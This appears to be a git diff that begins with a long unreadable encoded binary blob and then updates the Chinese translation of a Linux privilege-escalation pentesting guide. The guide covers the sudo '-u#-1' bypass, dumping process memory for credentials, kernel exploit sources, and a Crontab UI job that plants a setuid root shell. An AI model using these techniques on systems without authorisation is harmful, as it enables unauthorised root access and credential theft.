z#{qi5iB5o4?9QAi0hcf3mj~FnGZ-uFNM6tj0IoeOtop{wK(fluI>0y z_NL%O=lKVDXAK_9bRQFdr1bp6t@l>6ZWw($2y&(DAPiAbU2C>yc63~^|OGKu`ASxB+= zgG%tXnHHea2=fcX-MdqQbj{(q;^Gg^KVtgCFo6LmoyM!qA`hsv=TQ#sxRczPPhs z4XrV%$S>p_;ma_qtB+aWk`Hp=vDa-2!!a>2FHw*J?Sy+b@k$$lduZO5I7gIsewNAR z@qVKaJtMJv^JM(wgO1#1IAo&p`e!(m1smuJnxmbdY;n!;&U_ordK9xo@pJLe-I&w$ z^=03;8P_`Cl_R0u)-r;~$V@8GM8xzeV8nrsy0ZxAn*g5#q8z59Z^FsR%4Q*~(&pZT z%+uGg6}jqOm#DBw5q?TSfenn6{B(Mh=Jz)wEDLuoRimdb?R1jm*u2!}X%dVn0NsVx z?u}E%nj2I10*qJSV`GS|fS#II)4ao3#zG*Oe3=8owhMvkV=)Dk>Dg__OiDZf(Fq`V z+`<>=mH7DPjdjSwy>C39c@x$~gdtwVsy&Lc2oh$9LfSpg;C}Wi@<3;(Gkne6DSd>D>8*ZJBZ5f~=E}l$H-ROzk`sA0K?UIP( z!o~dRHi>h^ha~u=^OAL7<4%qOSO)p@N;I|ik_+;ToipL?hTXJt4rBlfK9a6^Pc+9L z>;5^j#5>kITl9r%YHNBb>>Qf4to0-H1^}QDsuf$IXqrM&;$Vr3OH%%HKC)RGtER)_ zx2n9Cq%`53~`bl_VyqdXjPXXA2=*E3UewM?G3Z_$eW>cwlW6#5OE8h7iThI>x0%ZX#u&X@ zfn%C>DUPo-fP9q^$D47sb@y8%UET8c%|X1NweehLAEJ@t-w*NBG;lcx?SPuWDq`2; zDx4qk2R(m4S+S`n9Pf*Bdg{+#2>T)l4NpPaKb5D2F9?GedhYb@OULe8xDQaEBw)n8 zgj7LH4P4fbX@P+g->XJpqGTi5QXOrJYSq@?%YSkJO;LLePMYFGD5>&&2Lq54;FCW$ zv0(o*zxT$fd$@9*Fau?;!h!||Op1N$ruf5X+z#s`9oBk7#~_-OEBPRc7w>nk4`zcE zu18h9GCFO}I;L$q6np9ybnP0gGgr{+IUIP6*#Y(dpyF?%IE!ve>@kVk%g3HMETwPW zG|UXb?vrnIm`o|}7!Q8`UZ4HF@Rtph{!7qn`O4Fu+cu@Dn*iG4qm)B;alRdMUGj)f z{h7yab$5%dke*&!#PxGY3z`D62b2L6?N1I`G`mFExC#TP`54gI=H5l-U9^0Y?1jcb zZ1g~Ems|V|1x%bA+EwS21m%f#?pYJI4oT5RF$KHN-U}fN@IY#@9q%$@)A&}@xJ0zK zFAQ$XMM@c$(YlfAglaZ07z5V%kCE7IRoicpG5x9cvZeZN$6kcp zdZe!P5EtVw9pird==Ixe$q&o;&qAG@@7ZqX?N4S|-yfcvGY0l~aNA%FxLZfpIQ*L2 zU_nza@;cFZ?x(ur5}^5z2QdxVcEFt6_77iRXTn(_i66baXcuOkS*+s#8^IwzKQO+k z@<;0pB-W{{8NfTH<4K#op;|vGJa&cm)hkS{rr6KtU5_>EdEK-3>0Z}Fw>h4G&S;E8 zJU|&5(r;@djirQ!cL{7nEwtoUpsC8IWYY+gyE}D;8BRo>&?cQ2Huq1FNwqi zxNp1ZCmnji;0-pZTEOezi?%9QT9exrW3ITNNSkMOQRgMXx1PWAx?lq|y9{ytp6!(w zU=Cgw%g9P#%ujnN2c!VDI9IMST_U~YMlQd6wZll5%QQ7hlIAO?o-^RjYRRRqu=ft@ zsXb1;MYMu6k>rZhl(#%4?)@1j`z)Xl+uCDNV~Sxx6%!3feuYw4G)ukWF?h;5>M>pBF7hj*VrT#_q}I zl1RJ0y`N*Vz9WUdb?oS1>y6YnETI9gfI&iqMVYHxJ2H<$(2I`Pg7;C{`ID$9d%IiR zW|grZxx_KnlEz}N33R;9ZDVZEq|>jm__}EIFu)Y8#*p}00ol|vCjLcaTSR*XVvUI? zi)Ow%XF?fiS~v$U_~v)#G&4-%j$=^BO~$LF_o=+VMoz)W((+gI-n)OGJik*;n=}Jh zpB^Jc#OZkfEJgm2UT#>FFBOY~ckymqE%#$ZN{e;X=bDxydK91VLsjV=&deQQ zL$lU->apMhcmR#*ucVZEjBtcIsRUv$Ngv{G={W5%K0dCsUq^{I(qTLD0MdPH;TJg{ zMxJSuHNZoW{IZ#-?l(z2X9B&2nxIPSAb3YAa&gOEH`fY*dz9p3K4&h*YjBPlR9us&k{E8W(;Z`I!nu=hBm(o@J2<2 zf)QzTl!;y}=ygZilICbWSwRT(@V0A>y$KAz&NZpBhL?)yBo$|lMFT**rD49`HWXRD z_q@ID3S`8xKL;+Y4&-4ZXgsQIGI~zW9tl=mo1C1RN1DrQcH~u*7HbRZ4CHXl&r99D z;tc4Mxk6sLQJI(x$n5vAgeh#WFo_TDVT+}ts`zprBi38-zSHI8&ROQB{;%Wv$cS2J zAIZA0G0_FZ4bdU%ciAMNRcF~a_`1fClSfkZxR<;&xoo9ZQAt2g#B3sc)UCN#%Ljs4 zs+NnszyZ^D{|JN&+|IVm_IC3zNlyH?bcqKE!;jqIl)vHYv;NZkN!MdoS-E!ZpSl|K)zlkrhjm;e0lCck zyJ4#G+hSYQhav>pp?Ly;Jxolamq*$qf5E5Gm>N!v7uIr?s$Kc|@C8|16thd<<3O_x z;)=sii_Flyg}0Ho{dhroEbjreOI7Q1VIyhKzCS;|P`P3gblV$1o^GOz&)>gqUFh?% ztLzZG)>Jfj4jiMQKnc1Ygy$&RE^19X7gM~SCKjxeCY0)9X!&@|Cux7Vk4I6lfI9$v zE|_~CLp9@`FQyn`dG=g=fhkrsdD<`mC}uZ+b-zCgsjRk`WnK7`G0>|SiN(X#*Vh%Z57PlwMc{PS;Igg~C;AK6&im$R zZ;z?pf_hD6=FIx-7g^We10*0k*sY-S=_$X61GhcRWv+n-1x;ewp@qHEyHbB>9H!t) z45~eWlgE|%qZ$`2K&_gmLI#B*Jwc~eTfGK3N%aowM*)_QBGnv(*Zy%0_FBmL>}SmSyo5`V@cd8*qtbMGJsWoi@v@ zlCmURZl17%Q9m3gIrzTUSB*+t$>5%YU^`%98 z0CXz`@c(6m-#kWX@3ZyPK~hq5(EL7pXn1&c4)AsesayKA*O)x~g41Mr5GI5h09KEG~lW(v?U%B9hM4 z%SJ;y0v-yV(C{}PE@>9pu^H$Ezn}YO;N@hdRw(uyAv=8}yzPuR(PiK<^Swv5P*O$KUk&J`y(t zD1eE&ReDT)R&F1J&AZ;-%u579&M+Z~77op_iI-iZ|Wok zq7!r&#XKc*(>XFyu^5^YE=nAr4&SEa9YE-xN$F~b+kXV~t~fMjdRSGK{=#N+Jt@=l zts&JrPt-GVVmj=ve6(#w2!9vB47az|($JslvcvCETEp{Mf&I@%1>Ne&rl$HfL2E%? zlr##!_K?WgTTnL}+EyJ;YuAT*Rph zT$}3;RY!)EwNasc=#a7|;`vf0yVQAg=2DQ${{2px61t~y^B(?{w|hE#_WL50R6Q46 z#6|eJ)us{eUx+^{`bi7Y*3J7eqt>#rHdk#~XV0LQWJnfvEqnt!%c%M4GXRRf2^S_+ z^5Lqsc=*i@!B!*Ua-3bY@&X;HI<#c-)f~uK$JE=NAo~pSp~?#={>i1Dk;a=eJg~92 z{np0xjCNXlT%lZve&Mf?X(4Kbz0jc zHuf8cWRtvqE0W!;#V|r z8t2;2&YWrpSo$w+bpP4$ZbY4=3kFY`nIIuY-TS*wtWMD%ryf*OfFb#$Km4{*E6pt< z6!ZOdnN{)&C^*+V145QvS3dUbXQY|F2kUb7sYHFI>#v~0jVAv1gviK6(6XBY@azo6 zk>;e4`&#WCYzvs_`GT%1N%iYgMpsZeYWw`;TmBUjDsR-d=U}+N9_KZj}-rS%cv5CH?P{F=4Jvt26ivvdmT_e86zwQ4zcG< z*G({BHq}GeIW*9~6iW685Ee%BQqhM5AQW14<(~%Deda(^Ha|LVU7G536#EUlu=B9#~v>pz_6tUV73BU zu{OSozfUganwzhq$_+zuZUkz-ZuJj#7VT@K^=|=uO(M#F0(?&R-C1g?P$v#wN`+j` zeDIHW_I83iJB905`yl!Tw{Bb5@nH*t&UCXIlFlM3GBQ4Z8aza}gcC{48UL8DvBS8% zpubMEXCYaeP(8qTPe>^uf5oD59UrggmZ=MhMLjPgVE)s@)K|SsCQg!WqrzHq=(2G~ zl}w~db_m(l_f!?{{#k)E2_VnX1n)$zp_{MTR^MT4{Xdp98p7CaE_m(>HomxQ04OGc z61zF?3)zN7M{A5>5v`~zry9pBo*3#ck8a`ai2r7X*puDOJQF#!++Hv8e|ajtIO{~H z>ocEi?sF@D_+di2>rE|#8jl^Rdcy78-^jb>>5xOvVE_DL+K#ZpbUFwc^rysdH>bM# zh3Fjrtw>=*DalxQ|Fi7+PEUrLHYzNmCqbA`c|PP+-Cu7j3!iNRP%7MlYevPKW)BS| zz-N-ko~+B{)P$%eT`3l?f?WfSkmakkgtXI5r&V|b&UcNq-iR1zpZ7y`N7Lb1pEOeY zZng*+eN2j~-oxoD8K8uApIOZ_$}ht$8$>>ofdxhzo*o??58i!xdKTUwZflo$W9n#g zR$7{1d3K0BXsQ-_oq}A;t%od0ivhsBCnhQr^vF7+Ccn{Mz2s@g>W@hjSJHs_6qzSr zqzT-s&gGCbH(3<@&rk;~mWvlIcrl9?4_rA`3?r(}$Qo6(I$(X*cSBY=@=o|!SA?9u zztSy}158Ga7A{0i96z%Of#|LV+w_=s(%)SR!AV;_BS94V63msV=I!xA?H}6XM zgAjh->o|`NTOG;sxC#7e7z+>iK^@4mS79uK;Eu&=^WhSNU)CalXJO)St$(!pl$xS&I)0X@{u!PIAw_K;24oT%^OyBD<7BP z6^&HI6``yUR^gh9;@?$YYd=l~w4kOiC1p6JbAvXjf~EvC=gJRgF9{9;qLbG@*SkJv$NSf$BsF3Ok4W+erklq`4tvNci!3C$EtAw zWJ^_D*0+(>Kt+eg^$hQF3ji#Ci)CGF|8~gsc0E1Fcv^Vqgj2nhSPS|u9XBx?XSpD` z{!kLu(j)3!#xz`-uhJd{hlQ32XSn(+8r>kWY1`L${8t@ z5Oij&D;|K`Bi${QAX&2D6~)Sh-ld+4+q%6M$ZJs@fxM8plW*426}=L&KD&LN?$fmp zFBfz;S#w=>LzLoI9@by^lkDdR<^I}=6nNdNK-s{9PhmH6mhPngqZ#yzy_ zr(|~M(;55DIqM#>ctWFc=8`gUY*d9|d>1%$D^hm!9dE6@Ke2zi;!Y2R_?!pv8=)OO z2=W}yVE2Lp3X$ojDPE_$eG`uMAzJu78?+j{V+gsPV-z0>02Wmn?$0wSPeMWsNRcy6x*5uQQP^w7Dvjp3bn+eo| z26as{T=@q2Et1Ba)9lWgODv4o*T&QVYn;Z`v;`ipojNOtd`3(A!~LEL9E@bD)Fp=J zxWxUpJ!)IJvarGPjZLIB3-&PQp+R?^%;WW5p*{D1ZqAI4d*DjBX9atF;fCsJ^EISy zli|X`JSmn1TQ=6V{dp=;rag)w&BHvZBkk&tU?0H9)Mn5GapEb(O4jo>-c#T6HWB-F zv@AUzjh?$1-@FpLX$Hy0opUs#z*gX0VUJcOMxi^*zb(;tmmWQKwKfhMfr{J zd?t!xE<|hgmcnK}GHympOZ7bnu^SR1ENfk9HRGT@{Xk6Ikc+oICQ-nDa!ya>X@Ss` zptLX3!kN=1q%uybCnkVO$&BT{JHzc;3dymM{)R1XIbVJOS`z~ZvDqi$U2drpGT)_4 zYFTBDGV;MGqbl36;`sV0Ni{)qIwr*?C%Kp-;KY23MgNuo(9ZM4ihfl=CcjA1tVw$y5|Q% zJ;wSgVM{(`aWYhc2R7p(0`~2W%S~>%!E^DUB?}kzOxq8cv6@G~JXecjxp=s4jzy{J zX{W*v@5$FM0uhKgi&J7qf=njNVCRP3&p&xFJ%x&0_N8~pxp$*^_aYMqZ3=ODX8Xfm z`Z4#Do;+$C!xPGn{kMy+Z%O0nRXQDLg5LIe&(P|xfJ_Hj{zLAy^5{1!Yth# zT3|%|2f|YJt=U?80~l4D={K>iVk@dwO&baiaB%3Jt18^pQOqBPa`AKo`J=7GE~P^e zhIG#IPRI12DZwWV;oR+&*K}Yp7zCgExnCJ3YM%Q&o87`0GPRdG`txu_ILB7Rye!Po zB#)ap)Rqm>9(9739ZJ#Z30=G!oQ6T9Sv5sDo0*mf%5<^OA1qZ+m@F!c4#F;jB@YPO zJ1u4LQwg}8yq&6@NN-$ zi&)gps6jue`Q_E6PlP?6p0Um#*ii(KSdRB;MJO$Z5kn*Sb|_DKK4L4Py_%&pd#Mb89e556v&{K}- zBEPSVGmEgXk%4M0-1#&rB%I;B{n~ zj#FB9$M|;MbdE)IUx$R{YMo22?^oD{f6IQ>OEvfuwikZZ#jTq})RA>*(D%?)VuE{q~)iTxrI-QsIFI4XNxA0_L$XfzZ$C@x@Z)luC_3*2{|{BiI^rg2_! z*U)iK;;GPHx}?Vz{NPqso&@t}uvuj@Anxi(3_3AV#cc!dI=rEmu?)O-JAT9V(@F}8 zws<*dD{d}HUr#x21nF%t7f`ZzS5UHunDvjHVqgJRxPmryZ{9a?>?y#(H1d>RHWF?HQovT zT&L2`AD-a#fERmQ05r-egm-&BCLS>)MZB4sAE(81sl)uDtKMtDUL9VJl(e{ZV2rMv zCRU&M&>{IV-LAO)(Kq)3{<&Et0rz_SuP@tEWBa(cG`N3-vwf}OdFG8oDFLzon`9+E zVmW{kmI}Dpq!LkaF$Q1mo1Qcg4bm<-R{i3W(_Iu^VuaNY3Niib1_9@0J(ZfU&&7`- zv#B`A!QULBKOpGL`z8&in{+tiF@R|tt5-(yA{1E~yl zF#qKPble-UV8quyzA0#1Wbyi8<<~hKSD$0K9uGc=wuie7ba0`Rho@x^B4|WQhuI7w z29sfNG5+oR8gvInAv9v8u21hKCNm5DmBYjZ6o3&Xvdl_q?T9zbo3Ac9EzbuLT&jF7 zZ}r>HX6PYrTY}vCBu@-UW8E|Ld7FSzvaX3p9)G2gX{%3=gJac3V9$Pnv zM^gJ(?VD2V=69=amp7hIw*-fky&o|(9f0R>gDMvY2G@gxouxnVbw=KAWk`NFZUPo%wC=W4}vYQbbUS?PoW>Czuj+@EP1Lbqnz zdEwrZb2w*3pdNKKc_bzVF3P(=ke)_?&N3Iv%77j9@=$=@6Xmr4rFd~ zcZ1@fEXAr}rky+Q+bb$4xEy&xCY~S1)sp{B$ z_@%x(56+iwRNEU2y&G<`)G$l8wXMmdm zbUGe3Y*oWD9Z!f?u*hWmv{ZHRFG@8qkY^mMwM%yyo^jVmySKMqXrirL1sWCch4q;` zO&W-{R{IzaSB?wqs^U^YQCSeXTEI-ivJc#Vsu@b&ZXU-arMx44R40UPa>? zu>#l>5qfxd3?enA2o9gqu73rZMyrS1emK-SiRh9Ee&_0JG(59o8+56Y9ym??v{a<9S|NH&@ z`$hi0{&Lk~B*|mL6B)>J;vZ=ia*f)A1Y|-*M@V#6f%Z$;Xqo!&#b;bxB~>(~!ruzy6>yWJn$aSI z{~YIk^9vXpoq)?3{D2e!ZS z7*HrejW~%F_wQ_FG$$y(piq2P?(dv`tUy~mYM#5`zcnNGfC;&0|1sq63=fHH<>9>_ zNccakuRjm@3Yd^rQ?4X`Yj^J-y_l6{5|Ih#O z-~6IaiBNlD^G)z?4ey_Y{O>jX&qDt98b|-LkpI20{)x!{4%YwQN91$7ds/dev/null lsb_release -a 2>/dev/null # old, not by default on many systems @@ -14,28 +14,28 @@ cat /etc/os-release 2>/dev/null # universal on modern systems ``` ### 路径 -如果你 **对 `PATH` 变量中任何文件夹具有写权限**,你可能能够劫持某些库或二进制文件: +如果你**对 `PATH` 变量中的任何文件夹拥有写权限**,你可能能够劫持一些 libraries 或 binaries: ```bash echo $PATH ``` -### 环境信息 +### Env 信息 -环境变量中有有趣的信息、密码或 API 密钥吗? +环境变量中是否有有趣的信息、密码或 API keys? ```bash (env || set) 2>/dev/null ``` ### Kernel exploits -检查 kernel 版本,查看是否存在可用于 escalate privileges 的 exploit。 +检查 kernel 版本,确认是否存在可用于 escalate privileges 的 exploit。 ```bash cat /proc/version uname -a searchsploit "Linux Kernel" ``` -你可以在这里找到不错的有漏洞的内核列表以及一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) 和 [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ -其他可以找到一些 **compiled exploits** 的站点: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) +你可以在这里找到一个不错的易受攻击的内核列表以及一些已经 **compiled exploits**: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\ +其他可以找到一些 **compiled exploits** 的站点有: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) -要从该网站中提取所有有漏洞的内核版本,可以执行: +要从该网站提取所有易受攻击的内核版本,你可以这样做: ```bash curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' ``` @@ -43,9 +43,9 @@ curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2 [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ -[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(在 victim 上执行,仅检查针对 kernel 2.x 的 exploits) +[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (在受害者上执行,仅检查 kernel 2.x 的 exploits) -始终 **在 Google 上搜索 kernel 版本**,也许你的 kernel 版本被写在某个 kernel exploit 中,这样你就可以确认该 exploit 是否有效。 +始终 **search the kernel version in Google**,可能你的内核版本已在某些 kernel exploit 中被写明,这样你就能确定该 exploit 有效。 ### CVE-2016-5195 (DirtyCow) @@ -59,15 +59,15 @@ https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` ### Sudo 版本 -基于下列存在漏洞的 sudo 版本: +基于出现在以下位置的易受攻击的 sudo 版本: ```bash searchsploit sudo ``` -你可以使用这个 grep 检查 sudo 版本是否存在漏洞。 +你可以使用这个 grep 检查 sudo 版本是否易受漏洞影响。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -#### sudo < v1.28 +#### sudo < v1.8.28 来自 @sickrov ``` @@ -75,7 +75,7 @@ sudo -u#-1 /bin/bash ``` ### Dmesg 签名验证失败 -查看 **smasher2 box of HTB** 以获取有关如何利用该 **vuln** 的示例 +查看 **smasher2 box of HTB**,获取该 vuln 如何被利用的**示例** ```bash dmesg 2>/dev/null | grep "signature" ``` @@ -123,15 +123,15 @@ cat /proc/sys/kernel/randomize_va_space 2>/dev/null ``` ## Docker Breakout -如果你在 docker container 内,你可以尝试从中逃逸: +如果你在 docker 容器内部,你可以尝试从中逃逸: {{#ref}} docker-security/ {{#endref}} -## 驱动器 +## Drives -检查 **what is mounted and unmounted**,在哪里以及为什么。如果有任何是 unmounted 的,你可以尝试去 mount 它并检查是否包含敏感信息。 +检查 **哪些已挂载和未挂载**、在哪里以及为什么。如果有任何未挂载的,你可以尝试将其挂载并检查是否存在私人信息。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null @@ -140,46 +140,46 @@ grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc ``` ## 有用的软件 -枚举有用的二进制文件 +列举有用的二进制文件 ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` -另外,检查是否安装了 **任何编译器**。如果你需要使用某些 kernel exploit,这很有用,因为建议在将要使用它的机器(或在一台类似的机器)上编译它。 +此外,检查 **是否安装了任何编译器**。如果需要使用某些 kernel exploit,这很有用,因为建议在将要使用它的机器上(或在一台类似的机器上)对其进行编译。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` ### 已安装的易受攻击软件 -检查 **已安装软件包和服务的版本**。可能存在某些较旧的 Nagios 版本(例如),可以被利用来提升权限…\ +检查已安装软件包和服务的**版本**。也许存在某个旧的 Nagios 版本(例如)可以被利用来 escalating privileges…\ 建议手动检查那些更可疑的已安装软件的版本。 ```bash dpkg -l #Debian rpm -qa #Centos ``` -如果你有对该主机的 SSH 访问权限,也可以使用 **openVAS** 来检查主机上安装的过时或存在已知漏洞的软件。 +If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. -> [!NOTE] > _注意:这些命令会显示大量大多无用的信息,因此建议使用像 OpenVAS 或类似的应用来检查任何已安装软件版本是否容易受到已知漏洞利用的影响_ +> [!NOTE] > _请注意:这些命令会显示大量大多无用的信息,因此建议使用像 OpenVAS 或类似的应用来检查已安装的软件版本是否易受已知漏洞影响_ ## 进程 -查看正在执行的 **哪些进程**,并检查是否有任何进程拥有 **超出其应有的权限**(例如由 root 执行的 tomcat?) +查看正在执行的 **哪些进程**,并检查是否有进程拥有 **比应有更多的权限**(例如某个 tomcat 由 root 运行?) ```bash ps aux ps -ef top -n 1 ``` -始终检查是否可能存在 [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md)。**Linpeas** 通过检查进程命令行中的 `--inspect` 参数来检测这些情况。\ -另外**检查你对进程二进制文件的权限**,也许你可以覆盖别人的文件。 +Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** 通过检查进程命令行中的 `--inspect` 参数检测到这些。\ +也请 **检查你对进程二进制文件的权限**,也许你可以覆盖其中的某个文件。 ### 进程监控 -你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监控进程。这样在识别频繁执行的或在满足特定条件时运行的易受攻击进程时非常有用。 +你可以使用像 [**pspy**](https://github.com/DominicBreuker/pspy) 这样的工具来监视进程。这对于识别经常被执行的或在满足某些条件时运行的易受攻击进程非常有用。 ### 进程内存 -某些服务会将 **credentials in clear text inside the memory** 保存在内存中。\ -通常你需要 **root privileges** 来读取属于其他用户的进程内存,因此这通常在你已经是 root 时更有用,用来发现更多凭据。\ -不过,记住 **as a regular user you can read the memory of the processes you own**。 +一些服务器服务会在内存中以明文保存 **credentials**。\ +通常你需要 **root privileges** 才能读取属于其他用户的进程的内存,因此这通常在你已经是 root 并想发现更多 credentials 时更有用。\ +但是,请记住,作为普通用户,你可以读取你自己拥有的进程的内存。 > [!WARNING] > Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. @@ -193,7 +193,7 @@ top -n 1 #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. +如果你可以访问某个 FTP 服务(例如)的内存,你可以获取 Heap 并在其中搜索其 credentials。 ```bash gdb -p (gdb) info proc mappings @@ -202,7 +202,7 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` -#### GDB 脚本 +#### GDB Script ```bash:dump-memory.sh #!/bin/bash #./dump-memory.sh @@ -215,7 +215,7 @@ done ``` #### /proc/$pid/maps & /proc/$pid/mem -对于给定的进程 ID,**maps 显示该进程虚拟地址空间中内存的映射方式**;它还显示**每个映射区域的权限**。伪文件 **mem** **暴露了进程的内存本身**。从 **maps** 文件我们知道哪些 **内存区域是可读的** 以及它们的偏移。我们使用这些信息来**seek 到 mem 文件并转储所有可读区域**到一个文件。 +对于给定的进程 ID,**maps 显示该进程的内存在其虚拟地址空间中是如何映射的**;它还显示每个映射区域的**权限**。伪文件 **mem** **暴露了进程的内存本身**。从 **maps** 文件我们知道哪些 **内存区域是可读的** 以及它们的偏移。我们使用这些信息在 **mem** 文件中定位并**将所有可读区域转储到一个文件**。 ```bash procdump() ( @@ -230,14 +230,14 @@ rm $1*.bin ``` #### /dev/mem -`/dev/mem` 提供对系统的 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以通过 /dev/kmem 访问。\ -通常,`/dev/mem` 只能被 **root** 和 **kmem** 组读取。 +`/dev/mem` 提供对系统的 **物理** 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。\ +通常,`/dev/mem` 仅对 **root** 和 **kmem** 组可读。 ``` strings /dev/mem -n10 | grep -i PASS ``` ### ProcDump for linux -ProcDump 是对来自 Sysinternals 套件中用于 Windows 的经典 ProcDump 工具在 Linux 上的重新构想。获取: [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) +ProcDump 是将经典 ProcDump(来自 Sysinternals 的 Windows 工具套件)重新构想为 Linux 版本。可在 [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) 获取。 ``` procdump -p 1714 @@ -272,7 +272,7 @@ Press Ctrl-C to end monitoring without terminating the process. - [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_你可以手动移除 root 要求并转储由你拥有的进程 - Script A.5 来自 [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (需要 root) -### 进程内存中的凭据 +### 从进程内存获取凭证 #### 手动示例 @@ -281,16 +281,16 @@ Press Ctrl-C to end monitoring without terminating the process. ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` -你可以 dump 进程(参见前面的章节以了解 dump 进程内存的不同方法),并在内存中搜索凭证: +你可以 dump the process(参见前面的章节以找到不同的方法来 dump the memory of a process)并在内存中搜索 credentials: ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` #### mimipenguin -该工具 [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) 会 **从内存中窃取明文凭证** 并从一些 **已知文件** 中获取。它需要 root 权限才能正常工作。 +The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **从内存窃取明文凭证** and from some **知名文件**. It requires root privileges to work properly. -| 功能 | 进程名称 | +| 功能 | 进程名称 | | ------------------------------------------------- | -------------------- | | GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password | | Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | @@ -313,39 +313,39 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1... # finding secrets # results in /tmp/tmp.o6HV0Pl3fe/results.txt ``` -## 计划任务/Cron jobs +## 定时/Cron 作业 -### Crontab UI (alseambusher) running as root – web-based scheduler privesc +### Crontab UI (alseambusher) 以 root 身份运行 – 基于 web 的调度器 privesc -如果 web “Crontab UI” 面板 (alseambusher/crontab-ui) 以 root 身份运行并且只绑定到 loopback,仍然可以通过 SSH 本地端口转发访问它并创建特权任务以提升权限。 +如果一个 web “Crontab UI” 面板 (alseambusher/crontab-ui) 以 root 身份运行且仅绑定到 loopback,你仍然可以通过 SSH 本地端口转发访问它并创建具有特权的 job 来提升权限。 -典型流程 -- 发现仅绑定到 loopback 的端口(例如 127.0.0.1:8000)以及 Basic-Auth realm,使用 `ss -ntlp` / `curl -v localhost:8000` -- 在运行时工件中查找凭据: - - 备份/脚本(使用 `zip -P `) +典型链 +- 发现仅限 loopback 的端口(例如 127.0.0.1:8000)和 Basic-Auth realm,使用 `ss -ntlp` / `curl -v localhost:8000` +- 在运行产物中查找凭据: + - 包含 `zip -P ` 的备份/脚本 - systemd 单元暴露 `Environment="BASIC_AUTH_USER=..."`、`Environment="BASIC_AUTH_PWD=..."` - 建立隧道并登录: ```bash ssh -L 9001:localhost:8000 user@target # browse http://localhost:9001 and authenticate ``` -- 创建一个高权限作业并立即运行(会生成 SUID shell): +- 创建一个高权限的 job 并立即运行(会掉落 SUID shell): ```bash # Name: escalate # Command: cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell ``` -- 使用它: +- 使用它: ```bash /tmp/rootshell -p # root shell ``` 加固 -- 不要以 root 身份运行 Crontab UI;将其限制为专用用户并授予最小权限 -- 绑定到 localhost,并通过 firewall/VPN 进一步限制访问;不要重复使用密码 -- 避免在 unit files 中嵌入 secrets;使用 secret stores 或 root-only EnvironmentFile -- 为 on-demand job executions 启用 audit/logging +- 不要以 root 身份运行 Crontab UI;使用专用用户并授予最小权限进行约束 +- 绑定到 localhost,并通过 firewall/VPN 进一步限制访问;不要重复使用 passwords +- 避免在 unit files 中嵌入 secrets;使用 secret stores 或仅 root 可读的 EnvironmentFile +- 为按需作业执行启用审计/日志记录 -检查是否有任何 scheduled job 存在漏洞。你可能可以利用由 root 执行的脚本(wildcard vuln?能否修改 root 使用的文件?使用 symlinks?在 root 使用的目录中创建特定文件?) +检查是否有任何定时任务存在易受攻击的情况。也许你可以利用被 root 执行的脚本(wildcard vuln?能修改 root 使用的文件吗?使用 symlinks?在 root 